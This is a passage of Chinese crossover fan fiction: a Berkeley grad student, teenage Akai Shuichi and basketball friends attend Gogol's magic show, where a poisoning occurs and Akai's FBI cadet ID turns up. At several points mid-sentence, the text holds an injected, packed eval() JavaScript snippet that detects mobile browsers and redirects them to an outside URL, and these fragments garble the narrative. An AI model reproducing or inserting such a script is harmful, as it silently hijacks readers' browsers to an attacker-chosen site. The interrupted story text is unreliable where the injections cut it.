人声说：“查到了，符合您的条件的只有一个人：来自俄罗斯的异能者尼古莱·瓦西里耶维奇·果戈里。“ 赤井秀一问：”他现在在哪里？“ 人声说：”我们的系统里记录他现在在北美进行魔术巡演，下一站在旧金山。“ “他在旧金山的演出是什么时候？” “下星期五晚上。” “……你能帮我拿到一张票吗？”赤井秀一感到自己的声音因为兴奋而有点发涩，“……不，两张。要最好的位置。” 26. 周一就是人类最深的苦难 【Dear Dr宫野，还有琴酒先生： 希望您（和您）最近一切顺利。十分不好意思地来信，但是我感觉目前为止最好的方法还是把我老板杀掉，他活在世界上的每一天对于我的科研能力来说都是毁灭性的打击。我愿意为您（和您）在任何时候提供一切便利，只需要告诉我我需要做什么就好。 另，如果可以的话，我想要当面感谢一下执行任务的好人，这份恩情我将永世难忘，我愿意为他/她一辈子做牛做马，当我毕业那天，我甚至想邀请他/她来参加我的毕业典礼。 诚挚的谢意， 长岛京悟 博士候选人 加州大学伯克利分校生物物理系 G教授lab】 【To 长岛京悟： 别再写了，我要吐了。 会有人联系你的，等。 琴酒】 琴酒是一个直率坦诚、控制欲强、自信果断、有领导力的人，所以从他的性格特征来说，他应该是一个entj（指挥官型人格）。 ……但是一想到在这个分类里的琴酒居然是一个e人，长岛京悟就开始强烈地怀疑起这个人格测试的准确性。 他把琴酒的回复发给了黑田兵卫后抱着抱枕坐在沙发上回忆自己这一整个周末都做了什么：周六睡到了十二点，和赤井秀一闲聊到下午三点，绞尽脑汁给琴酒写了一封咬牙切齿又不失礼貌的邮件花了接下来的好几个小时。看完琴酒的回信后思考人生一个小时。在这之后他犯了全天下博士生都会犯的错，即开始打文明6。打文明6的三个小时是他人生五个小时里最漫长的八个小时，最后他看着自己被敌人从内部瓦解的日本，内心羞愤交加，两眼一黑睡了过去。等到他醒来的时候已经是周天下午四点了。一个周末就这么迅速地、仿佛捉不住似的从指缝里溜走了，无可奈何地成为了相对论的有效印证。 周一就要上班是人类难以逃脱的宿命和无可避免的痛苦。这痛苦太深太重，让长岛京悟感觉似乎人类进化的目标就是自己创造难以想象的苦难，然后想办法用各种更难以想象的方式逃避这些苦难。 就好比他现在甚至很希望琴酒口中的“等”是指他周六发的邮件，现在已经有杀手在敲他的门。 但是敲门的人不是琴酒，不是一个阴沉冷酷的杀手，而是赤井秀一和刘伟。 。 长岛京悟面无表情地推开门，再关上门，冲去厕所洗了把脸、脱下毛茸茸的鲨鱼家居服，换上一件普通的格子衬衫和黑色长裤。他再推开门，刘伟笑嘻嘻地用手挡住了门框：“前辈，原来你在家穿得这么有童趣啊。” 长岛京悟羞愤地质问：“你们来干什么？” 赤井秀一迅速告状：“刘伟前辈今天下午给我打了五个电话，说他之前在学校篮球部的朋友组了一个party，他自己不好意思一个人去，所以想要叫我一起。我跟他说我在准备长岛前辈让我周一做的的文献汇报，他嘴上喊着秀一不可以看文献啊看了之后一辈子就定型了啊什么的就冲过来了。” 刘伟责怪道：“前辈，你怎么可以这样呢？秀一明明是未来的警探，他的时间是要留在认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824436|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识各色各类的人上的，他的未来不是生物科学，他……“ 长岛京悟打断他的话，邪恶地说：“他的未来是周一要给我做十篇文献的汇报，周二留在实验室测蛋白功能到晚上十二点，周三构建五十个质粒载体，周四讲组会，周五做pcr从早到晚，周六周天还要在实验室打卡朝九晚八。” 刘伟尖叫：“那种事情不要啊！” 赤井秀一无奈地说：“前辈你误会了，我是对生物化学很感兴趣，但是我觉得我大学还是会学刑侦学的……“ 长岛京悟立刻说：“太好了，那你周一也不用给我做汇报了。” 看了一个周末文献的赤井秀一饶是情绪再稳定也绷不住了，他这个周末第二次忍不住在内心咆哮：不是，他是不是有病啊？！ 。 最后三个人还是一起来了刘伟朋友的party。他们到的时候发现说是派对，其实更像是小型的朋友聚会，因为刘伟是在场唯一一个一拖二的。 长岛京悟疑惑地问：“好像没有其他人带客人来，你带我们来做什么？” 刘伟摸了摸头：“是这样，因为我们当时都想要阻止秀一掉入科研的泥潭，所以我想带他体验一下没有科研的生活是什么样的……”他随即吐槽道：“前辈你的话，刚刚听见我说这里的晚餐会很好吃就跟着过来了。” 赤井秀一插嘴：“诶？阻止我掉入科研的泥潭？” 刘伟心虚地移开眼睛：“当时你说自己很喜欢生物化学，我和前辈都以为你本科想要改学这个……” 赤井秀一愣住了。 27.找找自己的原因，你今年票卖出去了吗？ 他们来到的聚会地点是市中心的一个很受学生欢迎的餐厅。当他们三个人到的时候，桌子上已经坐了三个人了。 刘伟和他们打招呼：“火神君，绿间君——还有和成！” 叫做火神的人有一头红色的头发和一对很粗的眉毛，长岛京悟认出来他是最近全美大学生篮球联盟里炙手可热的明星，就连他刷短视频的时候都有看过相关的剪辑。火神说：“刘伟！好久不见。你和高尾还是关系这么好啊。” 刘伟挠了挠头：“可能是因为我们俩都是难得的黑色头发吧，哈哈。” 黑色头发的高尾拍了拍刘伟的肩膀，也笑着说：“你们篮球打得好的人是不是都需要一头五颜六色的头发啊？我第一次见到小真的时候都吓坏了，怎么会有人的头发是绿色的啊……” 绿色头发的人面无表情地说：“头发颜色这种事情我没有办法的唷。” 刘伟把长岛京悟和赤井秀一往前推了推：“我带了两个好朋友来哦！”他指着长岛京悟，“长岛京悟，是我现在实验室的前辈。”又指着赤井秀一，“这是赤井秀一，是一个超级厉害的高中生，将来会是超——级优秀的警探哦。” 高尾捧场地鼓掌：“好棒啊！我叫高尾和成，很高兴认识你们哦。”他也推了一下那个绿色头发的人，“这是绿间真太郎——小真，我们现在都在东京读大学。” 绿间真太郎点点头：“幸会。” 火神说：“我叫火神大我，我现在在亚利桑那州立大学读大一，效力于学校篮球队，前几天来伯克利打比赛。我的目标是进入nba成为职业篮球运动员！” 长岛京悟称赞道：“你肯定可以的！我刷tiktok常常看见你的剪辑视频，真厉害啊。可惜我们前两天没看成你的比赛。” 火神大我问：“没有拿到票吗？我当时送了刘伟好几张。” 刘伟说：“别提了，我们在外面遇到了杀人事件，不过最后被秀一解决啦。” 高尾和成又一次捧场地鼓掌：“秀一太厉害了！我们看了火神的比赛哦，简直太精彩了。火神比在高中时候强了好多呀！小真都觉得超厉害，是吧，小真？” 绿间真太郎面无表情地说：“那种事情我没有说过的唷。” 赤井秀一问：“绿间前辈和高尾前辈在这里待了多久了？” 高尾和成抢答：“我们住在旧金山，在这里差不多有一个多月了。小真在加州大学旧金山分校做医学相关的暑期科研，我因为放假闲着没事干就跟着一起来了，找了一个语言学校学英语。不过我们一个兴趣后就要回去啦。” 火神大我补充道：“高尾学得确实不错，比他高中的时候口语好多了。” 高尾和成哼哼：“我的学习能力超强的！”他招手示意服务生过来点餐，“我给你展示一下——” 。 这家餐厅是一个美式餐吧，最后每个人都点了一个汉堡。他们大口啃着汉堡，赤井秀一有点走神地想着刘伟在餐厅门口说的话：“当时你说自己很喜欢生物化学，我和前辈都以为你本科想要改学这个……” 因为不想他学生物化学然后成为像他们一样的科研牛马，所以刘伟想要给他展示一下没有朝九晚八一周无休地科研的生活可以很丰富多彩。同理，长岛京悟给他临时布置不是人做的任务，大概率也是为了让他打消做科研的念头。再往回推……或许那一天长岛京悟阻止他下午留在实验室做实验，也是为了让他不要一头扎进科研的史前巨坑里，将来被定型为一个只知道做实验、吃饭、睡觉的行尸走肉。按照这个逻辑理解的话，一切似乎也解释得通。 他后知后觉地认识到，长岛京悟或许就是一个非常简单的人，他说的任何话都是表面意义，并没有必要掘地三尺取挖任何隐藏含义。 如果是这样的话，他理解到的事件全貌是否会有所不同呢？ ……一周后，那个叫做果戈理的异能者的魔术表演，真的和这一切有关系吗？还是他真的想多了呢？ 。 一只手在他面前晃了晃：“秀一，你在想什么呢？” 赤井秀一的思路被打断了，有点茫然地问：“……怎么了？” 长岛京悟说：“哦，我看你一直在发呆，连汉堡都没啃几口。有什么心事吗？” 赤井秀一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826641|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想，还是决定不能就此放弃这个线索。他于是说：“前辈，你下周五晚上有空吗？” 长岛京悟问：“有的，怎么了？” 赤井秀一说：“是这样的，我的朋友送了我两张魔术表演的票，在旧金山魔术表演中心，我想问问你要不要和我一起去。” 。 “诶，我吗？” “魔术表演？什么魔术表演？” 长岛京悟和高尾和成的声音一起响起。前者有点迷茫地指了指自己，后者直接开问：“下周五晚上有魔术表演吗？在哪在哪——” 赤井秀一说：“在旧金山魔术表演中心。” 高尾和成说：“那不是离我们超近的吗！”他立刻转头拍了拍绿间真太郎的肩膀，“小真小真，我们下周五晚上去看那个魔术表演吧！” 绿间真太郎说：“请求驳回，我们那个时候要收拾行李，我们的飞机是下周天唷。” 高尾和成震惊道：“你怎么会需要两天收拾行李啊！我们有周六一整天收拾的！” 绿间真太郎推了推眼镜，冷静地说：“尽人事，听天命。万一周五晚上我们发现忘了给哪个朋友买伴手礼呢？周六一天是留给我们补救的唷。” 长岛京悟举手：“机场也可以买的。” 高尾和他哥俩好地勾肩搭背：“机场可以买的！“然后他立刻像一个树袋熊一样挂在绿间身上开始在他耳边棒读，“小真小真，我们去看魔术表演。小真小真，我们去看魔术表演。小真小真，我们去看魔术表演……” 绿间真太郎受不了了：“……行吧，别吵了。” 高尾和成欢呼一声，立刻拿起手机开始订票。长岛京悟问赤井秀一：“你的票的座位号是多少？我帮他看看我们可不可以坐一起。” 赤井秀一从口袋里掏出今天早上刚刚抵达的票。高尾和长岛头挨着头凑在手机前操作，过了一会儿两个人击掌：“买到啦！” ……这个叫果戈里的家伙看上去不太叫座啊，怎么到现在都没卖完票。 他和旁边的绿间真太郎对视，两人不语，只是一味地在心里谴责这个不够火的魔术师。 28.果戈里is watching you！ 无趣的一周过去，周五晚上六点半，长岛京悟一行人穿戴整齐地站在旧金山魔术表演中心的门口。 虽然说是一个大城市的魔术中心，但是这个地方实际上在市中心的一个小巷的地下室。这一天的旧金山和往常一样雾蒙蒙的，下午四点多天就黑了，现在还下着一点小雨。他们走下有些滑的台阶，进入看上去就有些年头的木门。 检票入场后右手边就是一个供应酒的吧台，似乎绝大多数观众都会给自己买一杯酒，然后坐在舞台下一个个圆桌边自己的座位上，边喝边看表演。高尾和成兴致勃勃地想要去排队，在绿间真太郎的死亡射线中悻悻地坐下。 赤井秀一和美国大多数青少年一样，虽然不到法定年龄，但也早就开始违法喝酒。长岛京悟拒绝了他跃跃欲试地要用□□买酒的提议，给自己买了一杯普通的、酒精含量很低的鸡尾酒。 赤井秀一装作不在意地问：“前辈点的这杯酒是什么基底？” 长岛京悟诚实地说：“其实我真的不知道，我本人不喝酒的。”只是氛围到了，感觉这个杯还是要小装一下。 这个时候高尾和成凑过来很兴奋地说：“听说这个魔术师很出名的！我很好奇今天晚上我能看清楚多少。” 长岛京悟：“……话说正常人来看魔术表演应该不会期待自己能看清楚多少手法吧。” 绿间真太郎推了推眼镜，吐槽道：“那是因为高尾是一个仗着自己眼睛好就以为自己什么都能看清的笨蛋唷。” 。 “诶，可以看清楚任何一个角落的眼睛？！”长岛京悟惊奇地说，“这是不是有点犯规了。” 高尾和成自豪地说：“虽然说没那么夸张，但是我可以很自如地切换视角，而且不会有任何视觉盲区。这种感觉就好像我在看很多个角度的监控一样，是一个很不错的生活技能哦。” 长岛京悟感叹：“那你一定很难被魔术表演震撼到吧。” 高尾和成嘿嘿地笑：“目前为止，我在发现魔术师手法上是零败绩。”他转了转眼睛，“不知道这一次有没有可能打破这个记录。” 他们的谈话在演出的后台完全听不见。舞台背后的化妆室里，银色长发的果戈里把自己的头发编成一个不会妨碍行动的麻花辫，戴上遮住自己异色瞳孔的单边眼罩，再把一顶白色的魔术师帽子斜斜地固定在头上。他穿着白色的西装，拿着一把手杖，披着一顶白色的披风。 距离演出开场还有十分钟，他好像一点都不紧张，只是无聊地从披风里拿出一部手机，打了一个电话。 “尼古莱，我说过没有别的什么大事不要给我打电话。”电话那头的人语气不爽但无奈。 果戈里咏唱一样地说：“我的挚友，我向您保证过，我给您打电话一定是有要紧的大事。” “……如果我没记错的话，两个小时前您给我打了一个万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832520|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分紧急的电话，告诉我您最喜欢的那一家贝果烘焙屋提前了一个小时关门，您没有吃到贝果，明天希望把这家店铺的工作人员都杀了。”通话对面的人嘲讽地说，“我期待这一次您至少可以告诉我，您改主意了？毕竟由于您不听劝阻非要做魔术巡演的奇思妙想，我们已经被很多国家的管理机关盯上了。” 果戈里咯咯地笑起来：“我今天挣扎在热爱的食物和让我吃不到美味的人为过失之间的痛苦里，绞尽脑汁地思考后，意识到只要把他们都杀掉，我就可以从这一份烦恼中彻底自由了！我的挚友，您是全世界唯一能理解我的人，您一定可以体会到我的苦心。“ “……如果这就是您要说的全部的话，那我就先失礼挂断了。” “不是哦，挚友。”果戈里轻巧地接过了对方的话，“这一次是真的有挚友您让我探寻的情报出现。” “——就在刚刚，我感受到了和两个星期前一样的异能力波动，非常轻微，极其隐蔽，就好像异能力者本身都没有意识到自己有这种力量一样……”果戈里的笑意止住了。在他没有笑的时候，他看上去无害却没有生机。他没有被眼罩遮住的蓝色眼眸平静而没有波澜，如同一潭凝定的光阴。 电话那一头传来一声轻微的叹息，接着是一个饶有兴趣的声音，补全了他的未尽之言。 “……就好像，和那一天我们体会到的，能将一切重置的力量，来自于同一个人。” 29.能力不够，异能力来凑 两个星期前，果戈里在演出的时候偶然间感觉到了一阵奇特的能量波动。这种感觉很微妙，他只觉得全身起了一瞬间的战栗，手一抖，拿着的一把扑克牌撒了一地。 是地震了吗？他迷茫地看了一眼四周，台下的观众没有太大的反应，只是有些惊愕地看着他的失误。除了他自己，没有一个人感受到这一股微小，却令人震撼的力量。他愣了愣神，感受到背上窜起的寒意——好像这个世界上有什么被改变了，但是他说不清楚，也没有办法捕捉到更多的蛛丝马迹。 就好像一只蝴蝶轻轻地扇动了一下翅膀，仅此而已。 是异能力吗？他好奇地想着，是谁？这个人现在在什么地方？ ——更重要的是，他改变了什么呢？ 。 天空一声巨响，果戈里闪亮登场。魔术剧场的灯一刹那暗下来，果戈里从舞台下的暗格中钻出来，在舞台上顺时针旋转三圈，逆时针旋转三圈，定格在一个弯腰、左手扶着魔术帽，右手拄着手杖的开场姿势。 全场开始鼓掌。高尾和成偷偷跟长岛京悟说：“我看到了，他是从舞台下面的那个暗格里出来的。” 长岛京悟鼓励道：“再接再厉，今晚加油把他扒得底裤都不剩。” 将要被扒得底裤都不剩的果戈里开朗地和观众打招呼：“旧金山的观众们，你们晚上好吗——”借着这个视角，他的视线扫过台下的所有观众，定格在离舞台最近的圆桌上。 他没有再感受到更多的异能力波动，所以没有办法确定那个他们在寻找的人到底隐藏在观众席的哪个座位上。 ……他看这张桌子主要是因为这里坐了一个绿头发的人。绿头发的人在哪都会被大家行注目礼的。 绿色头发的绿间真太郎似乎对这件事情习以为常，于是尴尬地推了推眼镜，又顺便踩了高尾和成一脚。 高尾和成呼痛：“你干什么！” 绿间真太郎没有理他。 果戈里饶有兴致地看完了全程，继续开朗地和观众互动：“欢迎大家来看这一场全世界最精妙的魔术！我是这个世纪最出色的魔术师——尼古莱·瓦西里耶维奇·果戈里！” 大家继续鼓掌。 果戈里说：“我的魔术表演和别人有所不同，如果其他的魔术师害怕被人发现自己的小技巧的话，我正正相反哦！”他又顺时针旋转三圈，再逆时针旋转三圈，“尼古莱欢迎所有人打断我的魔术，告诉我我的魔术技巧是什么哦！找到我的弱点的人，尼古莱会先给他退票，还会给他现金奖励哦！” 高尾和成说：“好耶！” 果戈里又看了这一桌一眼，可能是没遇到过这么积极的观众。不过他随即就把视线转移了，然后大声宣布：“那么——魔术表演开始了哟！” 。 果戈里掏出一副扑克牌开始切牌：“我们先来讲一个故事吧。有一天晚上，我像往常一样在我工作的酒吧里，忽得我听到门铃声，于是我拿起钥匙塞在门里，这是走进来一个、二个、三个、四个老k先生……” 高尾和成举手：“尼古莱，你没有好好切牌，你只是把牌分成了两部分，在桌子上敲了敲而已。” 果戈里：“您真厉害！”他于是重新切了一遍牌，说：“这样呢？” 高尾和成点点头。 果戈里继续：“老k先生走进酒吧，他们坐了一会儿，觉得有些无聊，于是就找到我说，小伙子，这是我们第一次来……” 高尾和成：“你藏牌了，我看见你把上面两张红桃塞进了袖子里。” 果戈里惊讶地停下，接着把袖子里的牌拿出来，一把甩到了高尾和成的面前。他现在看上去完全认真起来了。 “于是我走过了一个、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赤井秀一报警，同时魔术剧场的保安人员在他的指示下锁上了大门。控制住现场后，他开始对死者进行简单的即刻尸检以推断死因。死者的脸色呈现出一种异样的青灰色，嘴唇略微发紫，表明缺氧是导致其死亡的重要原因。此外，他的指甲床下方隐约出现出血点，这是典型的中毒症状。除此之外，赤井秀一还发现尸体的衣领微微湿润，散发出一股奇怪的金属气味。 果戈里不知道什么时候走下了舞台，站到了他们身边。他看上去没有一丝害怕，更多的是对自己被打断表演这件事情的愤怒和不满。他凝视着死者，露出了一个有些扭曲的笑。 赤井秀一面无表情地拦住了果戈里想要伸向尸体的手：“您好，我们需要保存现场，请不要乱动。” 果戈里问：“如果找到凶手，我们是不是可以继续表演了？”他有些意犹未尽地看向高尾和成，“我刚刚找到一个完美的挚友候选人。我能够感受到汹涌的快乐让我的心dokidoki地跳。” 长岛京悟锐评：“你现在看上去有点变态了。” 赤井秀一回答：“我们需要保存现场到确认嫌疑人、警方取证完成为止。” 果戈里指着死者后面的圆桌上的一个男人说：“好吧。喏，就是他杀的。”他歪了歪头，“所以现在警察到哪里了？” 被指着的男人愣了一下，随即吼叫道：“空口无凭，你不能随便污人清白！” 果戈里叹了一口气，说：“你做的事情又不难，我的一个出生不太久的同伴之前还经常干。有一种长得很像普通喷雾器的毒气装置，使用者可以控制毒气的喷射方向和范围。由于毒气的密度较高，气体可以迅速下沉并集中在要杀的人所在的区域。身边的人应该都能闻到这个味道的，只是因为剂量不够，杀不死更多的人而已，十分遗憾。……警察来了吗？” “出生不太久的同伴之前经常干”……“毒气装置”…… “杀不死更多的人……十分遗憾。” 赤井秀一有些恍惚，他之前对果戈里的穷凶极恶早有心理准备，但是事实证明有心理准备不等于不会为人类能够一次性触犯的刑法条目感到震撼。 长岛京悟和高尾和成嘀咕：“……他现在看上去更变态了。” 高尾和成赞同地点头。 赤井秀一深呼吸，强迫自己把注意力转回现在正在处理的案件。他问：“你的证据是？” 果戈里从自己的斗篷里掏出一个喷雾器：“我在他口袋里翻到的。你去检查一下，里面肯定有一种和死者身上很相近的味道。” 男人立刻摸自己的口袋，随即面如死灰：“你，你是怎么拿到的？！” 果戈里欢呼：“找出凶器魔术大成功！”他转头挑衅般地问高尾和成，“这次您看到了吗？” 高尾和成转头对绿间真太郎吐槽：“他胜负欲好强啊。”他当然没看到啊，正常人谁在这种场合还要分神找魔术技巧啊？！ 听闻凶手找到了之后，赤井秀一和剧场的保安示意，对方打开了魔术中心的门，其他的观众立刻鱼贯而出。他自己则迅速把还打算跑的男人制服，在男人激烈地挣扎下，两人开始过招。 剧场的人都走得差不多了，男人也很快被赤井秀一制服。这个时候演出厅里就只剩下长岛京悟一行人、被赤井秀一反剪着手压在身下的凶手，和果戈里。在等待美国警察姗姗来迟的间隙，长岛京悟好奇地问：“虽然你刚刚从他口袋里翻到了凶器，但是你怎么知道要搜查这个人呢？” 果戈里：“这个很简单，我把每一个人的包和口袋都摸了一遍，恰巧我见过这个喷雾器，又闻到了一点熟悉的味道。”他兴致勃勃地指了指正在把嫌疑人控制起来的赤井秀一，“话说不仅是喷雾器，我还在这个戴针织帽的少年的书包里摸到好几把正常人买不到的枪，不过刚才没人用枪，所以应该不是他杀的。” 。 有枪？赤井秀一有枪？还是好几把正常人买不到的枪？ 长岛京悟觉得自己一个晚上受到了太多的震撼。这是一个什么展开——我带的暑期研究高中生其实是一个超级□□大佬的那种剧情吗？但是话说回来超级□□大佬为什么想要来做科研拿推荐信之后读刑侦学啊？研究一下自己怎么合法地违法吗……？ 高尾和成严谨地问：“是那种只能在那种违法的黑市上违法买到的违法的枪吗？” 果戈里想了想：“我不太清楚，因为我只在黑市上买过，那时候这些枪在黑市上还有点难买呢。” 长岛京悟有些恍惚：“……那不就是违法的吗。” 没想到赤井秀一看上去这么正直的一个人，居然背后这么穷凶极恶，真是世风日下，人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846879|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心不古。 他和高尾、绿间搭档二人一起赶紧挪动到赤井秀一的视觉盲区里。赤井秀一看上去并没有在意他们，因为警察刚刚抵达，他们正在交接工作。 果戈里心情很好地跟着他们挪到角落。 长岛京悟的心还在砰砰跳，他长舒一口气，然后问果戈里：“但是你又是怎么翻所有人的口袋和书包的呢？”经过果戈里的找凶器魔术后，他相信果戈里真的有一些很厉害的魔术技巧了。 果戈里开朗地说：“这个啊，这个是因为我是异能力者哦。” 长岛京悟：“哦……” 长岛京悟：“啊？” 。 果戈里和他们解释道：“我的异能力是可以通过我的斗篷连接任意空间，范围是三十米。就像这样，”他好心地做了个示范，把手伸进了自己的斗篷里，掏出来了长岛京悟的手机。 同时，长岛京悟发现自己口袋里的手机消失了。 果戈里得意地说：“就是这种异能力哦。” 高尾和成吐槽：“……那你当魔术师不是作弊吗。”怪不得这是第一次他看不清一个魔术师的技巧！他差一点就要回日本之后去检查眼睛了！ 果戈里神秘地说：“这是我为了寻找真正的自由而作的尝试哦。” 绿间真太郎疑惑道：“自由？” 果戈里笑了，然后他取下了自己的眼罩。这个时候长岛京悟蓦然发觉，果戈里眼罩下的那一只眼睛上有一道可怖的、几乎是贯穿了整个眼眶的划痕，而那划痕下、他深邃的眼窝里，赫然是一只与他露出的绿眼睛不一样的，蓝色的义眼。 果戈里说：“我不期待你们能够理解我。我追求的，是像鸟一样不受重力束缚、翱翔于天际的自由。我追求自己的自由，也追求目睹其他人最终达成这种自由。魔术是一种方式，当人类发现自己恐惧但向往的事情在面前真实地发生，他们脸上的表情是一种打破了想象力束缚后，沉迷而惊喜的自由。”他的手指虚虚点过高尾和成，“你的眼睛是一个美丽的东西，这是一种天赋——你的眼睛给你带来了过度的、超载的真实，所以你在出生的那一刻就获得了自由。而我，哪怕是挖出了我的左眼，也看不到你能看到的世界。” 果戈里的笑容逐渐染上恶意：“如果把你的眼睛也挖出来，和我的互换——这样，我能得到像你一样的自由吗？” 31.你说谁只有一个朋友的 这是长岛京悟第二次体会到如此强烈的恐惧。 果戈里的恶意太过尖锐而浓郁，当他两只眼睛一眨不眨地盯着高尾和成看的时候，他的嘴角裂出了一个疯狂、扭曲的笑容。 或者说，果戈里好像一直是笑着的，只有在说到“自由”的时候，他的笑容蓦地消失了。在他不笑的时候，他看上去像一个正在腐烂的苹果。但当他又重新笑起来的时候，极端割裂的两种形象让他比任何时候都像恐怖片里的小丑。 长岛京悟能感觉到绿间和高尾的身体都紧绷起来，三个人急促的呼吸和心跳声即使在这个并不极其安静的角落里也十分明晰。 他毫不怀疑，果戈里下一秒就会实践自己的提案，将高尾和成的眼睛挖出来。 这个时候，长岛京悟的大脑在无力而快速地思考，他们到底应该怎么自救？ 面对这样强大的异能者，又该往哪里逃？ ……长岛京悟想不到。或者说，他不知道有什么事情可以改变一个事实——即异能力是超脱科学可以解释的范畴，而他并没有任何可以打破常理的力量。 他绝望地闭上眼睛。 “那么提问！”果戈里语调轻快地打破了沉默，“刚才我说的话里，从什么时候开始是谎话呢？” 。 长岛京悟睁开眼睛，发现果戈里把眼罩戴回去了。他靠在墙上，手上转着自己的手杖，饶有兴致地看着他们三个人紧张到想要呕吐的表情。 果戈里说：“别害怕，我是一个正常的人，很少干这种违法的事情的。不过我偶尔会喜欢这么吓唬一下普通人，这是我保持乐观开朗的方式之一。” “……你刚刚说要挖出高尾的眼睛。”长岛京悟谴责，他的心脏现在还跳得震耳欲聋。但是他直觉果戈里的确没有伤害他们的意愿了，至少是暂时性的。 高尾和成说：“你这种人太恶劣了，难怪只有一个好朋友。” 果戈里瞪大了眼睛：“谁说我只有一个好朋友的？我只是只有一个挚友而已，我还有三个同事。” 绿间冷静地吐槽：“你刚刚的意思就是只有一个好朋友唷。” 果戈里不屑道：“和你们普通人沟通就是很费劲。”他的眼睛转了转，盯着长岛京悟，“你有几个朋友？” 长岛京悟：“如果说是那种什么都能聊的好朋友的话，好像也只有一个。” 果戈里转头对绿间说：“听见了吗，我们都是这个样子的。” 高尾迷惑地问：“你们是指——？” 果戈里没有接话。随即他解锁了刚刚拿到的、长岛京悟刚刚改了非常复杂的锁屏密码的手机，在联系人里存入了一个号码。他把手机塞回斗篷里，长岛京悟也感觉到手机回到了他的口袋。 果戈里说：“有什么好玩的事情的话，可以给我发短信。我不会告诉我挚友的。” 长岛京悟：“……诶？” 果戈里又盯着他看了一会儿，然后自言自语道：“我挚友说我开魔术巡演是异想天开，可我明明有这么多收获。嘿嘿。但是我不会告诉他。” 。 “我要赶飞机，但是我现在心情很好。”果戈里看上去就心情很好地对他们三个人说：“有什么问题的话可以随便问我哦，我不会杀掉你们的。” 长岛京悟灵机一动：“……你用你的那个异能再摸摸戴针织帽的那个少年的书包呢？要是看到违法的证据，现在就有警察，我们可以立刻将他绳之以法。” 果戈里点头：“可以。”然后他把手伸进自己的斗篷，一边探索一边跟他们汇报：“一把枪，两把枪，三把枪。一个手榴弹，两个手榴弹，三个手榴弹。一把刀。一个麻醉枪？一台笔记本电脑。——诶，这里有一个像是本子一样的东西。” 高尾和成：“穷凶极恶的罪犯也要用本子记录生活吗？我以为他们都是那种超级高科技的反侦查仪器，像是信号阻断器那种。” 果戈里：“这个东西外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849827|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壳是皮做的，好像有一个塑胶膜，比较薄，只有几页的样子。” 绿间真太郎：“这个听上去像是证件。你确定是本子吗？” 果戈里说：“诶？是吗？不确定，再摸摸。……算了，拿出来看看吧。” 然后他从斗篷里掏出了一个证件。 ——上面印着赤井秀一的照片，赫然写着“FBI预备搜查官”。 在场的四个人，包括果戈里，都沉默了。 。 这个年头，做FBI也要上大学啊。长岛京悟的记忆还停留在小时候看的美国电影里，那些正义的主角看上去好像都不像读过本科的样子。赤井秀一聪明好学，还身手不凡，这种人成为维护社会安全的人真的是一件大好事。而且他长得也很帅，如果真的有一部关于刑侦的动画片的话，他一定可以成为主角吧。 